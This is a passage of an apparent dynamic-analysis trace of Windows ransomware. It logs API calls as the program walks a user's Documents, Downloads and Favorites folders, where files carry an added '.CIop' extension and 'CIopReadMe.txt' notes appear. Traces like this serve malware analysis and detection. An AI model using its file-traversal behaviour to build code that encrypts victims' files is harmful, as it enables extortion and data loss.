lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0158.945] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0158.945] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0158.945] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.945] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.945] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.945] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.945] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.945] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.945] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2="..") returned 1 [0158.945] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2=".") returned 1 [0158.945] lstrlenW (lpString=".CIop") returned 5 [0158.945] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.945] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2="..") returned 1 [0158.945] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2=".") returned 1 [0158.945] lstrlenW (lpString=".CIop") returned 5 [0158.945] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.945] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2="..") returned 1 [0158.945] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2=".") returned 1 [0158.945] lstrlenW (lpString=".CIop") returned 5 [0158.945] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.945] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.945] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.945] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0158.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0158.945] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e0b8 [0158.946] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0158.946] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0158.946] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.946] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.946] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.946] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.946] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.946] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.946] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0158.946] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0158.946] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0158.946] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.946] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.946] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.946] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 1 [0158.946] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 0 [0158.946] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.946] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0158.946] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0158.946] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0158.946] SetErrorMode (uMode=0x1) returned 0x1 [0158.946] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0158.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0158.946] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0158.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0158.947] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0158.947] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0158.947] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2=".") returned 1 [0158.947] lstrlenW (lpString=".CIop") returned 5 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2=".") returned 1 [0158.947] lstrlenW (lpString=".CIop") returned 5 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2=".") returned 1 [0158.947] lstrlenW (lpString=".CIop") returned 5 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.947] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2=".") returned 1 [0158.947] lstrlenW (lpString=".CIop") returned 5 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2=".") returned 1 [0158.947] lstrlenW (lpString=".CIop") returned 5 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.947] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2="..") returned 1 [0158.947] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2=".") returned 1 [0158.947] lstrlenW (lpString=".CIop") returned 5 [0158.947] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.947] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0158.947] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.947] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0158.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0158.947] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67deb8 [0158.948] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0158.948] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.948] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0158.948] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0158.948] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.948] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0158.948] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0158.948] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.948] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.948] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.948] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.948] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.949] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.949] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.949] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.949] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0158.949] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0158.949] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.949] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.949] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0158.949] SetErrorMode (uMode=0x1) returned 0x1 [0158.949] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0158.949] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0158.949] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0158.949] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0158.949] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.949] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0158.949] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0158.949] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.949] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.949] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0158.949] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0158.949] lstrlenW (lpString=".exe") returned 4 [0158.949] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.949] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.949] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.949] lstrlenW (lpString="desktop.ini") returned 11 [0158.949] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.949] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0158.949] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0158.949] lstrlenW (lpString=".exe") returned 4 [0158.949] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.949] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.949] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.950] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0158.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0158.950] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.950] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0158.950] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0158.950] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.950] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.950] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.950] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.950] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.950] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.950] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.950] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.950] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.950] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0158.950] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0158.950] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0158.950] SetErrorMode (uMode=0x1) returned 0x1 [0158.950] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0158.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0158.950] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0158.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0158.950] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.950] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0158.950] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0158.950] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] lstrcmpW (lpString1="Bing.url.CIop", lpString2="..") returned 1 [0158.951] lstrcmpW (lpString1="Bing.url.CIop", lpString2=".") returned 1 [0158.951] lstrlenW (lpString=".CIop") returned 5 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.951] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.951] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.951] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.951] lstrlenW (lpString="desktop.ini") returned 11 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.951] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.951] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.951] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0158.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0158.951] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.951] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0158.951] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] lstrcmpW (lpString1="..", 